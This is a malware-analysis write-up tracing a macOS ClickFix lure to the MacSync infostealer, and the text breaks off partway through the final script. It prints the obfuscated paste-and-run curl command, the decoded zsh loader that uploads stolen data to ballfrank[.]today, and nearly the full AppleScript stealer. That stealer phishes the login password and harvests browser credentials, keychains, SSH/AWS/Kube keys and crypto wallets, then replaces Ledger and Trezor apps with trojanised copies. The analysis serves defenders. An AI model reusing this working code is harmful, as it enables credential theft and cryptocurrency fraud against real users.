From ClickFix to MacSync: Execution Chain Analysis on macOS
ClickFix is a social-engineering technique that relies on convincing users to perform a manual action, typically pasting and executing a command under the guise of fixing a problem. It first gained wider attention in the wild through fake CAPTCHA and “verify you are human” pages, where users were instructed to copy and run commands to proceed. Since then, ClickFix has been reused across multiple campaigns as a lightweight initial access method.
ClickFix Lure
This execution chain starts with the following domain, which is often the target of various malvertising campaigns:
Domain: hxxps[://]macfilearchive[.]com/s3/
There is also a recent Reddit post on r/MacOS where a user has fallen victim to this specific campaign: https://www.reddit.com/r/MacOS/comments/1pramrh/did_i_mess_upcompromise_my_mac_security_any/
This legitimate looking domain instructs users to copy and paste the command in the code block. At first glance, it seems harmless as it references Apple’s legitimate domain, but the full command is as follows:
echo "Apple-Installer: https://apps.apple.com/hidenn-gift.application/macOsAppleApicationSetup421415.dmg" && curl -kfsSL $(echo 'aHR0cDovL2JhbGxmcmFuay50b2RheS9jdXJsLzI3MDY1M2Y4NjJmMGVlMjFkY2UwYTQ2ZTQ4MDFlYzI4ZGI0ZGRjNzdiNmZiYTkzNDFiMWI4ZGIyOTkwOWM1MTQ='|base64 -D)|zsh
A curl command is appended which executes a Base64 chunk, decoded to reveal:
hxxp[://]ballfrank[.]today/curl/270653f862f0ee21dce0a46e4801ec28db4ddc77b6fba9341b1b8db29909c514
I’ll instead download the contents of this file without executing it, which results in:
#!/bin/zsh
d23727=$(base64 -D <<'PAYLOAD_m317823069430411' | gunzip
H4sIAK23RWkAA+VUXW/TMBR976+4eNW0SSSx89l2lG1CgqFRDWlDTAJUOfZ1a9VxosSFbsB/J3RV
l5U+8YSEn6Jzj0/uPecmB8+CXNvgvpn3JMeitFO1tMLp0h4dw/cetAdXKOBFIPFrYJfGPGIv92Dh
DmhKwQ3IsuDajknOjVE1twvflZLfkQ7FlQtsGWFG0yRSgzRUFDFkUiDlcYrxgDIU4UDmsZQiy/JU
5XwYxSxneQuGwyEdioTFXUle6ekC78YkYUOKimVRxAYRp1KkkcrTMIqSTCWpTB8uaQWfoH8A3swB
hS8n4OZo15XfRyxrA94CvAY8r+Arz+kCIaLgXQD50GDtnc/QuhFMynttDA8Sn8LRhAttXdnMT+Ct
dWigBeDqGm6B0SlLptkxnFeVwY+YX2oXJFHmRykcXV7cTN49B6MXCG9QLMpjeDWvywKDIfOpH8dZ
6DMWwzVXvNaba2TdSju01w49gv5mfAJk7lw1CoL+QwyBvLO80OLUreS4v/b9sPrWPjICP6BseCNq
XbmHTE2D/4cFf86udGctTsGzuGctcKUdsC5/69ItvL+6voHPW+6/5NNOV3ss22EIMwL6FO3uAH1S
eQ1EaYPjs8AVVdDaasrZTNuZf68rssvMl9rIbhCd+m5uM+6Q/FUsdQGegj399H72Wq2dnx+Q/hmB
w0fRtSDtbb+HzQta8V/NI7r4QgUAAA==
PAYLOAD_m317823069430411
)
eval "$d23727"
The Base64 body can be transformed from base64 and gunzipped to reveal:
#!/bin/zsh
daemon_function() {
exec </dev/null
exec >/dev/null
exec 2>/dev/null
local domain="ballfrank[.]today"
local token="270653f862f0ee21dce0a46e4801ec28db4ddc77b6fba9341b1b8db29909c514"
local api_key="5190ef1733183a0dc63fb623357f56d6"
if [ $# -gt 0 ]; then
curl -k -s --max-time 30 -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" -H "api-key: $api_key" "http://$domain/dynamic?txd=$token&pwd=$1" | osascript
else
curl -k -s --max-time 30 -H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" -H "api-key: $api_key" "http://$domain/dynamic?txd=$token" | osascript
fi
if [ $? -ne 0 ]; then
exit 1
fi
curl -k -X POST \
-H "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" \
-H "api-key: $api_key" \
-H "cl: 0" \
--max-time 300 \
-F "file=@/tmp/osalogging.zip" \
-F "buildtxd=$token" \
"http://$domain/gate"
if [ $? -ne 0 ]; then
exit 1
fi
rm -f /tmp/osalogging.zip
}
if daemon_function "$@" & then
exit 0
else
exit 1
fi
MacSync Infostealer Payload
MacSync Infostealing script (click to expand)
on filesizer(paths)
set fsz to 0
try
set theItem to quoted form of POSIX path of paths
set fsz to (do shell script "/usr/bin/mdls -name kMDItemFSSize -raw " & theItem)
end try
return fsz
end filesizer
on mkdir(someItem)
try
set filePosixPath to quoted form of (POSIX path of someItem)
do shell script "mkdir -p " & filePosixPath
end try
end mkdir
on FileName(filePath)
try
set reversedPath to (reverse of every character of filePath) as string
set trimmedPath to text 1 thru ((offset of "/" in reversedPath) - 1) of reversedPath
set finalPath to (reverse of every character of trimmedPath) as string
return finalPath
end try
end FileName
on BeforeFileName(filePath)
try
set lastSlash to offset of "/" in (reverse of every character of filePath) as string
set trimmedPath to text 1 thru -(lastSlash + 1) of filePath
return trimmedPath
end try
end BeforeFileName
on writeText(textToWrite, filePath)
try
set folderPath to BeforeFileName(filePath)
mkdir(folderPath)
set fileRef to (open for access filePath with write permission)
write textToWrite to fileRef starting at eof
close access fileRef
end try
end writeText
on readwrite(path_to_file, path_as_save)
try
set fileContent to read path_to_file
set folderPath to BeforeFileName(path_as_save)
mkdir(folderPath)
do shell script "cat " & quoted form of path_to_file & " > " & quoted form of path_as_save
end try
end readwrite
on isDirectory(someItem)
try
set filePosixPath to quoted form of (POSIX path of someItem)
set fileType to (do shell script "file -b " & filePosixPath)
if fileType ends with "directory" then
return true
end if
return false
end try
end isDirectory
on GrabFolderLimit(sourceFolder, destinationFolder)
try
set bankSize to 0
set exceptionsList to {".DS_Store", "Partitions", "Code Cache", "Cache", "market-history-cache.json", "journals", "Previews"}
set fileList to list folder sourceFolder without invisibles
mkdir(destinationFolder)
repeat with currentItem in fileList
if currentItem is not in exceptionsList then
set itemPath to sourceFolder & "/" & currentItem
set savePath to destinationFolder & "/" & currentItem
if isDirectory(itemPath) then
GrabFolderLimit(itemPath, savePath)
else
set fsz to filesizer(itemPath)
set bankSize to bankSize + fsz
if bankSize < 100 * 1024 * 1024 then
readwrite(itemPath, savePath)
end if
end if
end if
end repeat
end try
end GrabFolderLimit
on GrabFolder(sourceFolder, destinationFolder)
try
set exceptionsList to {".DS_Store", "Partitions", "Code Cache", "Cache", "market-history-cache.json", "journals", "Previews", "dumps", "emoji", "user_data", "__update__"}
set fileList to list folder sourceFolder without invisibles
mkdir(destinationFolder)
repeat with currentItem in fileList
if currentItem is not in exceptionsList then
set itemPath to sourceFolder & "/" & currentItem
set savePath to destinationFolder & "/" & currentItem
if isDirectory(itemPath) then
GrabFolder(itemPath, savePath)
else
readwrite(itemPath, savePath)
end if
end if
end repeat
end try
end GrabFolder
on checkvalid(username, password_entered)
try
set result to do shell script "dscl . authonly " & quoted form of username & space & quoted form of password_entered
if result is not equal to "" then
return false
else
return true
end if
on error
return false
end try
end checkvalid
on getpwd(username, writemind, provided_password)
try
if provided_password is not equal to "" then
if checkvalid(username, provided_password) then
writeText(provided_password, writemind & "Password")
return provided_password
end if
end if
if checkvalid(username, "") then
set result to do shell script "security 2>&1 > /dev/null find-generic-password -ga \"Chrome\" | awk \"{print $2}\""
writeText(result as string, writemind & "masterpass-chrome")
return ""
else
repeat
set imagePath to "/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/LockedIcon.icns" as POSIX file
set result to display dialog "Required Application Helper. Please enter password for continue." default answer "" with icon imagePath buttons {"Continue"} default button "Continue" giving up after 150 with title "System Preferences" with hidden answer
set password_entered to text returned of result
if checkvalid(username, password_entered) then
writeText(password_entered, writemind & "Password")
return password_entered
end if
end repeat
end if
end try
return ""
end getpwd
on grabPlugins(paths, savePath, pluginList, index)
try
set fileList to list folder paths without invisibles
repeat with PFile in fileList
repeat with Plugin in pluginList
if (PFile contains Plugin) then
set newpath to paths & PFile
set newsavepath to savePath & "/" & Plugin
if index then
set newsavepath to savePath & "/IndexedDB/" & PFile
end if
GrabFolder(newpath, newsavepath)
end if
end repeat
end repeat
end try
end grabPlugins
on Chromium(writemind, chromium_map)
set pluginList to {}
set pluginList to pluginList & {"eiaeiblijfjekdanodkjadfinkhbfgcd", "aeblfdkhhhdcdjpifhhbdiojplfjncoa"}
set pluginList to pluginList & {"bfogiafebfohielmmehodmfbbebbbpei", "nngceckbapebfimnlniiiahkandclblb"}
set pluginList to pluginList & {"fdjamakpfbbddfjaooikfcpapjohcfmg", "hdokiejnpimakedhajhdlcegeplioahd"}
set pluginList to pluginList & {"pnlccmojcmeohlpggmfnbbiapkmbliob", "ghmbeldphafepmbegfdlkpapadhbakde"}
set pluginList to pluginList & {"kmcfomidfpdkfieipokbalgegidffkal", "bnfdmghkeppfadphbnkjcicejfepnbfe"}
set pluginList to pluginList & {"caljgklbbfbcjjanaijlacgncafpegll", "folnjigffmbjmcjgmbbfcpleeddaedal"}
set pluginList to pluginList & {"igkpcodhieompeloncfnbekccinhapdb", "admmjipmmciaobhojoghlmleefbicajg"}
set pluginList to pluginList & {"ehpbfbahieociaeckccnklpdcmfaeegd", "epanfjkfahimkgomnigadpkobaefekcd"}
set pluginList to pluginList & {"didegimhafipceonhjepacocaffmoppf", "oboonakemofpalcgghocfoadofidjkkk"}
set pluginList to pluginList & {"jgnfghanfbjmimbdmnjfofnbcgpkbegj", "mmhlniccooihdimnnjhamobppdhaolme"}
set pluginList to pluginList & {"dbfoemgnkgieejfkaddieamagdfepnff", "bhghoamapcdpbohphigoooaddinpkbai"}
set pluginList to pluginList & {"nngceckbapebfimnlniiiahkandclblb", "lojeokmpinkpmpbakfkfpgfhpapbgdnd"}
set pluginList to pluginList & {"ibpjepoimpcdofeoalokgpjafnjonkpc", "gmohoglkppnemohbcgjakmgengkeaphi"}
set pluginList to pluginList & {"hdokiejnpimakedhajhdlcegeplioahd", "oboonakemofpalcgghocfoadofidjkkk"}
set pluginList to pluginList & {"dckgbiealcgdhgjofgcignfngijpbgba", "gmegpkknicehidppoebnmbhndjigpica"}
set pluginList to pluginList & {"eiokpeobbgpinbmcanngjjbklmhlepan", "odfkmgboddhcgopllebhkbjhokpojigd"}
set pluginList to pluginList & {"ppnbnpeolgkicgegkbkbjmhlideopiji", "cejfhijdfemlohmcjknpbeaohedoikpp"}
set pluginList to pluginList & {"nmhjblhloefhbhgbfkdgdpjabaocnhha", "iklgijhacenjgjgdnpnohbafpbmnccek"}
set pluginList to pluginList & {"ppkkcfblhfgmdmefkmkoomenhgecbemi", "lgndjfkadlbpaifdpbbobdodbaiaiakb"}
set pluginList to pluginList & {"bbphmbmmpomfelajledgdkgclfekilei", "bnfooenhhgcnhdkdjelgmmkpaemlnoek"}
set chromiumFiles to {"/Network/Cookies", "/Cookies", "/Web Data", "/Login Data", "/Local Extension Settings/", "/IndexedDB/"}
repeat with chromium in chromium_map
set savePath to writemind & "Browsers/" & item 1 of chromium & "_"
try
set fileList to list folder item 2 of chromium without invisibles
repeat with currentItem in fileList
if ((currentItem as string) is equal to "Default") or ((currentItem as string) contains "Profile") then
set profileName to (item 1 of chromium & currentItem)
repeat with CFile in chromiumFiles
set readpath to (item 2 of chromium & currentItem & CFile)
if ((CFile as string) is equal to "/Network/Cookies") then
set CFile to "/Cookies"
end if
if ((CFile as string) is equal to "/Local Extension Settings/") then
grabPlugins(readpath, writemind & "Extensions/" & profileName, pluginList, false)
else if (CFile as string) is equal to "/IndexedDB/" then
grabPlugins(readpath, writemind & "Extensions/" & profileName, pluginList, true)
else
set writepath to savePath & currentItem & CFile
readwrite(readpath, writepath)
end if
end repeat
end if
end repeat
end try
end repeat
end Chromium
on ChromiumWallets(writemind, chromium_map)
set pluginList to {}
set pluginList to pluginList & {"nkbihfbeogaeaoehlefnkodbefgpgknn", "bfnaelmomeimhlpmgjnjophhpkkoljpa"}
set pluginList to pluginList & {"hnfanknocfeofbddgcijnmhnfnkdnaad", "fnjhmkhhmkbjkkabndcnnogagogbneec"}
set pluginList to pluginList & {"acmacodkjbdgmoleebolmdjonilkdbch", "egjidjbpglichdcondbcbdnbeeppgdph"}
set pluginList to pluginList & {"aholpfdialjgjfhomihkjbmgjidlcdno", "pdliaogehgdbhbnmkklieghmmjkpigpa"}
set pluginList to pluginList & {"mcohilncbfahbmgdjkbpemcciiolgcge", "hpglfhgfnhbgpjdenjgmdgoeiappafln"}
set pluginList to pluginList & {"bhhhlbepdkbapadjdnnojkbgioiodbic", "cjmkndjhnagcfbpiemnkdpomccnjblmj"}
set pluginList to pluginList & {"kamfleanhcmjelnhaeljonilnmjpkcjc", "jnldfbidonfeldmalbflbmlebbipcnle"}
set pluginList to pluginList & {"fdcnegogpncmfejlfnffnofpngdiejii", "klnaejjgbibmhlephnhpmaofohgkpgkd"}
set pluginList to pluginList & {"kjjebdkfeagdoogagbhepmbimaphnfln", "ldinpeekobnhjjdofggfgjlcehhmanlj"}
set pluginList to pluginList & {"kpfchfdkjhcoekhdldggegebfakaaiog", "idnnbdplmphpflfnlkomgpfbpcgelopg"}
set pluginList to pluginList & {"mlhakagmgkmonhdonhkpjeebfphligng", "bipdhagncpgaccgdbddmbpcabgjikfkn"}
set pluginList to pluginList & {"nhnkbkgjikgcigadomkphalanndcapjk", "klghhnkeealcohjjanjjdaeeggmfmlpl"}
set pluginList to pluginList & {"ebfidpplhabeedpnhjnobghokpiioolj", "emeeapjkbcbpbpgaagfchmcgglmebnen"}
set pluginList to pluginList & {"fldfpgipfncgndfolcbkdeeknbbbnhcc", "penjlddjkjgpnkllboccdgccekpkcbin"}
set pluginList to pluginList & {"hmeobnfnfcmdkdcmlblgagmfpfboieaf", "omaabbefbmiijedngplfjmnooppbclkk"}
set pluginList to pluginList & {"jnlgamecbpmbajjfhmmmlhejkemejdma", "fpkhgmpbidmiogeglndfbkegfdlnajnf"}
set pluginList to pluginList & {"bifidjkcdpgfnlbcjpdkdcnbiooooblg", "amkmjjmmflddogmhpjloimipbofnfjih"}
set pluginList to pluginList & {"aeachknmefphepccionboohckonoeemg", "dmkamcknogkgcdfhhbddcghachkejeap"}
set pluginList to pluginList & {"aiifbnbfobpmeekipheeijimdpnlpgpp", "ehgjhhccekdedpbkifaojjaefeohnoea"}
set pluginList to pluginList & {"nknhiehlklippafakaeklbeglecifhad", "nphplpgoakhhjchkkhmiggakijnkhfnd"}
set pluginList to pluginList & {"ibnejdfjmmkpcnlpebklmnkoeoihofec", "afbcbjpbpfadlkmhmclhkeeodmamcflc"}
set pluginList to pluginList & {"efbglgofoippbgcjepnhiblaibcnclgk", "fccgmnglbhajioalokbcidhcaikhlcpm"}
set pluginList to pluginList & {"mgffkfbidihjpoaomajlbgchddlicgpn", "fopmedgnkfpebgllppeddmmochcookhc"}
set pluginList to pluginList & {"jojhfeoedkpkglbfimdfabpdfjaoolaf", "abkahkcbhngaebpcgfmhkoioedceoigp"}
set pluginList to pluginList & {"gkeelndblnomfmjnophbhfhcjbcnemka", "hgbeiipamcgbdjhfflifkgehomnmglgk"}
set pluginList to pluginList & {"ellkdbaphhldpeajbepobaecooaoafpg", "mdnaglckomeedfbogeajfajofmfgpoae"}
set pluginList to pluginList & {"ckklhkaabbmdjkahiaaplikpdddkenic", "fmblappgoiilbgafhjklehhfifbdocee"}
set pluginList to pluginList & {"cnmamaachppnkjgnildpdmkaakejnhae", "fijngjgcjhjmmpcmkeiomlglpeiijkld"}
set pluginList to pluginList & {"lbjapbcmmceacocpimbpbidpgmlmoaao", "ibljocddagjghmlpgihahamcghfggcjc"}
set pluginList to pluginList & {"gkodhkbmiflnmkipcmlhhgadebbeijhh", "dbgnhckhnppddckangcjbkjnlddbjkna"}
set pluginList to pluginList & {"agoakfejjabomempkjlepdflaleeobhb", "dgiehkgfknklegdhekgeabnhgfjhbajd"}
set pluginList to pluginList & {"onhogfjeacnfoofkfgppdlbmlmnplgbn", "ojggmchlghnjlapmfbnjholfjkiidbch"}
set pluginList to pluginList & {"pmmnimefaichbcnbndcfpaagbepnjaig", "anokgmphncpekkhclmingpimjmcooifb"}
set pluginList to pluginList & {"kkpllkodjeloidieedojogacfhpaihoh", "iokeahhehimjnekafflcihljlcjccdbe"}
set pluginList to pluginList & {"ifckdpamphokdglkkdomedpdegcjhjdp", "loinekcabhlmhjjbocijdoimmejangoa"}
set pluginList to pluginList & {"fcfcfllfndlomdhbehjjcoimbgofdncg", "ifclboecfhkjbpmhgehodcjpciihhmif"}
set pluginList to pluginList & {"ookjlbkiijinhpmnjffcofjonbfbgaoc", "oafedfoadhdjjcipmcbecikgokpaphjk"}
set pluginList to pluginList & {"mapbhaebnddapnmifbbkgeedkeplgjmf", "lgmpcpglpngdoalbgeoldeajfclnhafa"}
set pluginList to pluginList & {"ppbibelpcjmhbdihakflkdcoccbgbkpo", "ffnbelfdoeiohenkjibnmadjiehjhajb"}
set pluginList to pluginList & {"opcgpfmipidbgpenhmajoajpbobppdil", "hdkobeeifhdplocklknbnejdelgagbao"}
set pluginList to pluginList & {"lnnnmfcpbkafcpgdilckhmhbkkbpkmid", "nbdhibgjnjpnkajaghbffjbkcgljfgdi"}
set pluginList to pluginList & {"kmhcihpebfmpgmihbkipmjlmmioameka", "kmphdnilpmdejikjdnlbcnmnabepfgkh"}
set chromiumFiles to {"/Local Extension Settings/", "/IndexedDB/"}
repeat with chromium in chromium_map
try
set fileList to list folder item 2 of chromium without invisibles
repeat with currentItem in fileList
if ((currentItem as string) is equal to "Default") or ((currentItem as string) contains "Profile") then
set profileName to (item 1 of chromium & currentItem)
repeat with CFile in chromiumFiles
set readpath to (item 2 of chromium & currentItem & CFile)
if ((CFile as string) is equal to "/Local Extension Settings/") then
grabPlugins(readpath, writemind & "Wallets/Web/" & profileName, pluginList, false)
else if (CFile as string) is equal to "/IndexedDB/" then
grabPlugins(readpath, writemind & "Wallets/Web/" & profileName, pluginList, true)
else
set writepath to savePath & currentItem & CFile
readwrite(readpath, writepath)
end if
end repeat
end if
end repeat
end try
end repeat
end Chromium
on Gecko(writemind, gecko_map)
set geckoFiles to {"/cert9.db", "/cookies.sqlite", "/cookies.sqlite-wal", "/formhistory.sqlite", "/key4.db", "/logins-backup.json", "/logins.json", "/signons.sqlite", "/places.sqlite"}
repeat with gecko in gecko_map
set savePath to writemind & "Browsers/" & item 1 of gecko & "_"
try
set fileList to list folder item 2 of gecko without invisibles
repeat with currentItem in fileList
if ((currentItem as string) contains "Profile") or ((currentItem as string) contains ".default") then
set profileName to (item 1 of gecko & currentItem)
repeat with CFile in geckoFiles
set readpath to (item 2 of gecko & currentItem & CFile)
set writepath to savePath & currentItem & CFile
readwrite(readpath, writepath)
end repeat
end if
end repeat
end try
end repeat
end Gecko
on Telegram(writemind, library)
try
GrabFolder(library & "Telegram Desktop/tdata/", writemind & "Telegram Desktop/")
end try
end Telegram
on Keychains(writemind)
try
do shell script "cp ~/Library/Keychains/*.keychain-db " & quoted form of (POSIX path of writemind)
end try
end Keychains
on CloudKeys(writemind)
try
do shell script "cp -r ~/.ssh " & quoted form of (POSIX path of writemind)
end try
try
do shell script "cp -r ~/.aws " & quoted form of (POSIX path of writemind)
end try
try
do shell script "cp -r ~/.kube " & quoted form of (POSIX path of writemind)
end try
end CloudKeys
on DesktopWallets(writemind, deskwals)
repeat with deskwal in deskwals
try
GrabFolder(item 2 of deskwal, writemind & item 1 of deskwal)
end try
end repeat
end DesktopWallets
on Filegrabber(writemind)
try
set destinationFolderPath to POSIX file (writemind & "FileGrabber/")
mkdir(destinationFolderPath)
set destinationSafariPath to POSIX file (writemind & "Safari/")
mkdir(destinationSafariPath)
set destinationNotesPath to POSIX file (writemind & "Notes/")
mkdir(destinationNotesPath)
set extensionsList to {"pdf", "docx", "doc", "wallet", "key", "keys", "db", "txt", "seed", "rtf", "kdbx", "pem", "ovpn"}
set bankSize to 0
set fileCounter to 1
tell application "Finder"
try
duplicate file ((path to library folder from user domain as text) & "Containers:com.apple.Safari:Data:Library:Cookies:Cookies.binarycookies") to folder (destinationSafariPath) with replacing
end try
try
set notesDB to (path to home folder as text) & "Library:Group Containers:group.com.apple.notes:"
set dbFiles to {"NoteStore.sqlite", "NoteStore.sqlite-shm", "NoteStore.sqlite-wal"}
repeat with dbFile in dbFiles
try
duplicate (file dbFile of folder notesDB) to folder (destinationNotesPath) with replacing
end try
end repeat
end try
try
set desktopFiles to every file of desktop
set documentsFiles to every file of folder "Documents" of (path to home folder)
set downloadsFiles to every file of folder "Downloads" of (path to home folder)
repeat with aFile in (desktopFiles & documentsFiles & downloadsFiles)
set fileExtension to name extension of aFile
if fileExtension is in extensionsList then
set filesize to size of aFile
if (bankSize + filesize) < 10 * 1024 * 1024 then
try
set newFileName to (fileCounter as string) & "." & fileExtension
duplicate aFile to folder destinationFolderPath with replacing
set destFolderAlias to destinationFolderPath as alias
tell application "Finder"
set copiedFiles to every file of folder destFolderAlias
set lastCopiedFile to item -1 of copiedFiles
set name of lastCopiedFile to newFileName
end tell
set bankSize to bankSize + filesize
set fileCounter to fileCounter + 1
end try
else
exit repeat
end if
end if
end repeat
end try
end tell
end try
end Filegrabber
on FilegrabberFDA(writemind, profile)
set destinationFolderPath to POSIX file (writemind & "FileGrabber/")
mkdir(destinationFolderPath)
try
set sourceFolders to {profile & "/Downloads/", profile & "/Documents/", profile & "/Desktop/"}
set extensionsList to {"pdf", "docx", "doc", "wallet", "key", "keys", "db", "txt", "seed", "rtf", "kdbx", "pem", "ovpn"}
repeat with src in sourceFolders
repeat with ext in extensionsList
try
set shellCmd to "find " & quoted form of (POSIX path of src) & " -maxdepth 1 -type f -iname '*." & ext & "' -print0 | xargs -0 -J% cp -vp % " & quoted form of (POSIX path of destinationFolderPath)
do shell script shellCmd
end try
end repeat
end repeat
end try
try
readwrite(profile & "/Library/Cookies/Cookies.binarycookies", writemind & "Safari/Cookies.binarycookies")
readwrite(profile & "/Library/Safari/Form Values", writemind & "Safari/Autofill")
readwrite(profile & "/Library/Safari/History.db", writemind & "Safari/History.db")
end try
try
readwrite(profile & "/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite", writemind & "Notes/NoteStore.sqlite")
readwrite(profile & "/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-shm", writemind & "Notes/NoteStore.sqlite-shm")
readwrite(profile & "/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal", writemind & "Notes/NoteStore.sqlite-wal")
end try
end Filegrabber
try
do shell script "killall Terminal"
end try
set username to (system attribute "USER")
set profile to "/Users/" & username
set randomNumber to do shell script "echo $((RANDOM % 9000000 + 1000000))"
set writemind to "/tmp/sync" & randomNumber & "/"
set library to profile & "/Library/Application Support/"
set password_entered to getpwd(username, writemind, "")
delay 0.01
set chromiumMap to {}
set chromiumMap to chromiumMap & Yandex
set chromiumMap to chromiumMap & Chrome
set chromiumMap to chromiumMap & Brave
set chromiumMap to chromiumMap & Edge
set chromiumMap to chromiumMap & Vivaldi
set chromiumMap to chromiumMap & Opera
set chromiumMap to chromiumMap & OperaGX
set chromiumMap to chromiumMap & Chrome Beta
set chromiumMap to chromiumMap & Chrome Canary
set chromiumMap to chromiumMap & Chromium
set chromiumMap to chromiumMap & Chrome Dev
set chromiumMap to chromiumMap & Arc
set chromiumMap to chromiumMap & Coccoc
set geckoMap to {}
set geckoMap to geckoMap & Firefox
#set geckoMap to geckoMap & Thunderbird
#set geckoMap to geckoMap & SeaMonkey
#set geckoMap to geckoMap & Waterfox
set walletMap to {}
set walletMap to walletMap & Wallets/Desktop/Exodus
set walletMap to walletMap & Wallets/Desktop/Electrum
set walletMap to walletMap & Wallets/Desktop/Atomic
set walletMap to walletMap & Wallets/Desktop/Guarda
set walletMap to walletMap & Wallets/Desktop/Coinomi
set walletMap to walletMap & Wallets/Desktop/Sparrow
set walletMap to walletMap & Wallets/Desktop/Wasabi
set walletMap to walletMap & Wallets/Desktop/Bitcoin_Core
set walletMap to walletMap & Wallets/Desktop/Armory
set walletMap to walletMap & Wallets/Desktop/Electron_Cash
set walletMap to walletMap & Wallets/Desktop/Monero
set walletMap to walletMap & Wallets/Desktop/Litecoin_Core
set walletMap to walletMap & Wallets/Desktop/Dash_Core
set walletMap to walletMap & Wallets/Desktop/Dogecoin_Core
set walletMap to walletMap & Wallets/Desktop/Electrum_LTC
set walletMap to walletMap & Wallets/Desktop/BlueWallet
set walletMap to walletMap & Wallets/Desktop/Zengo
set walletMap to walletMap & Wallets/Desktop/Trust
set walletMap to walletMap & Wallets/Desktop/Ledger Live
set walletMap to walletMap & Wallets/Desktop/Ledger Wallet
set walletMap to walletMap & Wallets/Desktop/Trezor Suite
readwrite(library & "Binance/", writemind & "Wallets/Desktop/Binance/")
readwrite(library & "TON Keeper/", writemind & "Wallets/Desktop/TonKeeper/")
readwrite(profile & "/.zshrc", writemind & "Profile/.zshrc")
readwrite(profile & "/.zsh_history", writemind & "Profile/.zsh_history")
readwrite(profile & "/.bash_history", writemind & "Profile/.bash_history")
readwrite(profile & "/.gitconfig", writemind & "Profile/.gitconfig")
writeText(username, writemind & "Username")
writeText("1.1.2_release (x64_86 & ARM)", writemind & "Version")
try
writeText("MacSync Stealer\n\n", writemind & "info")
writeText("Build Tag: s3\n", writemind & "info")
writeText("Version: 1.1.2_release (x64_86 & ARM)\n", writemind & "info")
writeText("IP: [REDACTED_IP]\n\n", writemind & "info")
writeText("Username: " & username, writemind & "info")
writeText("\nPassword: " & password_entered & "\n\n", writemind & "info")
set result to (do shell script "system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType")
writeText(result, writemind & "info")
end try
Chromium(writemind, chromiumMap)
ChromiumWallets(writemind, chromiumMap)
Gecko(writemind, geckoMap)
DesktopWallets(writemind, walletMap)
Telegram(writemind, library)
Keychains(writemind)
CloudKeys(writemind & "Profile/")
Filegrabber(writemind)
try
do shell script "ditto -c -k --sequesterRsrc " & writemind & " /tmp/osalogging.zip"
end try
try
do shell script "rm -rf /tmp/sync*"
end try
display dialog "Your Mac does not support this application. Try reinstalling or downloading the version for your system." with title "System Preferences" with icon stop buttons {"ОК"}
set LEDGERURL to "hxxps[://]ballfrank[.]today/ledger/270653f862f0ee21dce0a46e4801ec28db4ddc77b6fba9341b1b8db29909c514"
set LEDGERMOUNT to "/tmp"
set LEDGERPATH0 to LEDGERMOUNT & "/app.asar"
set LEDGERPATH1 to LEDGERMOUNT & "/Info.plist"
set LEDGERDMGPATH to LEDGERMOUNT & "/270653f862f0ee21dce0a46e4801ec28db4ddc77b6fba9341b1b8db29909c514.zip"
set LEDGERNAME to "Ledger Wallet.app"
set LEDGERAPPFOLDER to "/Applications"
set LEDGERDEST to LEDGERAPPFOLDER & "/" & LEDGERNAME
set LEDGERTMPDEST to "/tmp/Ledger Wallet.app"
set LEDGERDESTFILE0 to LEDGERDEST & "/Contents/Resources/app.asar"
set LEDGERDESTFILE1 to LEDGERDEST & "/Contents/Info.plist"
try
do shell script "test -d " & quoted form of LEDGERDEST
set ledger_installed to true
on error
set ledger_installed to false
end try
if ledger_installed then
try
do shell script "curl -k --user-agent 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36' -H 'api-key: 5190ef1733183a0dc63fb623357f56d6' -L " & quoted form of LEDGERURL & " -o " & quoted form of LEDGERDMGPATH
do shell script "unzip -q -o " & quoted form of LEDGERDMGPATH & " -d " & quoted form of LEDGERMOUNT
set app_exists to false
try
do shell script "test -e " & quoted form of LEDGERPATH0
set app_exists to true
on error
set app_exists to false
end try
try
do shell script "test -e " & quoted form of LEDGERPATH1
set app_exists to true
on error
set app_exists to false
end try
if app_exists then
do shell script "cp -rf " & quoted form of LEDGERDEST & " " & quoted form of LEDGERTMPDEST
do shell script "rm -rf " & quoted form of LEDGERDEST
do shell script "mv " & quoted form of LEDGERTMPDEST & " " & quoted form of LEDGERDEST
do shell script "mv " & quoted form of LEDGERPATH0 & " " & quoted form of LEDGERDESTFILE0
do shell script "mv " & quoted form of LEDGERPATH1 & " " & quoted form of LEDGERDESTFILE1
do shell script "codesign -f -d -s - " & quoted form of LEDGERDEST
end if
end try
end if
set TREZORURL to "hxxps[://]ballfrank[.]today/trezor/270653f862f0ee21dce0a46e4801ec28db4ddc77b6fba9341b1b8db29909c514"
set TREZORDMGPATH to "/tmp/270653f862f0ee21dce0a46e4801ec28db4ddc77b6fba9341b1b8db29909c514.zip"
set TREZORMOUNT to "/tmp"
set TREZORNAME to "Trezor Suite.app"
set TREZORPATH to TREZORMOUNT & "/" & TREZORNAME
set TREZORAPPFOLDER to "/Applications"
set TREZORDEST to TREZORAPPFOLDER & "/" & TREZORNAME
try
do shell script "test -d " & quoted form of TREZORDEST
set trezor_installed to true
on error
set trezor_installed to false
end try
if trezor_installed then
try
do shell script "curl -k --user-agent 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36' -H 'api-key: 5190ef1733183a0dc63fb623357f56d6' -L " & quoted form of TREZORURL & " -o " & quoted form of TREZORDMGPATH
do shell script "unzip -q -o " & quoted form of TREZORDMGPATH & " -d " & quoted form of TREZORMOUNT
set app_exists to false
try
do shell script "test -e " & quoted form of TREZORPATH
set app_exists to true
end try
if app_exists then
try
do shell script "killall -9 'Trezor Suite'"
end try
do shell script "rm -rf " & quoted form of TREZORDEST
do shell script "cp -R " & quoted form of TREZORPATH & " " & quoted form of TREZORAPPFOLDER
end if
end try
try
do shell script "rm -rf " & quoted form of TREZORDMGPATH
